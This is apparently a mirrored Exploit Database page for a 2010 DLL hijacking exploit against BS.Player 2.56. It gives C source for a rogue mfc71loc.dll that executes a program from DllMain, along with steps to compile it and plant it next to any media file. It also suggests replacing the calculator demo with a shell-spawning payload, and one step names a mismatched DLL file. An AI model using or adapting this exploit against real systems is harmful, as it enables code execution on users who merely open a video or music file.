BS.Player 2.56 build 1043 – ‘mfc71loc.dll’ DLL Hijacking

• Exploit Database
• 116 阅读

• 作者： diwr
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14739/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  /* # Exploit Title: BS.Player DLL Hijacking Exploit (mfc71loc.dll) # Date: 25/08/2010 # Author: Bruno Filipe (diwr) http://digitalacropolis.us # Software Link: http://www.bsplayer.org # Version: <= 2.56 build 1043 # Tested on: WinXP SP2, WinXP SP3 # Thx TheLeader ;) # ---------------------------------------------------------------------------------------------------------- # This should work with any file handled by BS.Player (videos and music) # 1. gcc dllmain.c -o mfc71loc.dll # 2. Put mfc71ptb.dll in the same directory of a media file (EG: anything.avi) # 3. You can generate a msfpayload DLL and spawn a shell, for example. # ---------------------------------------------------------------------------------------------------------- */     #include <windows.h>   int main() { WinExec("calc", SW_NORMAL); exit(0); return 0; }   BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { main(); return 0; }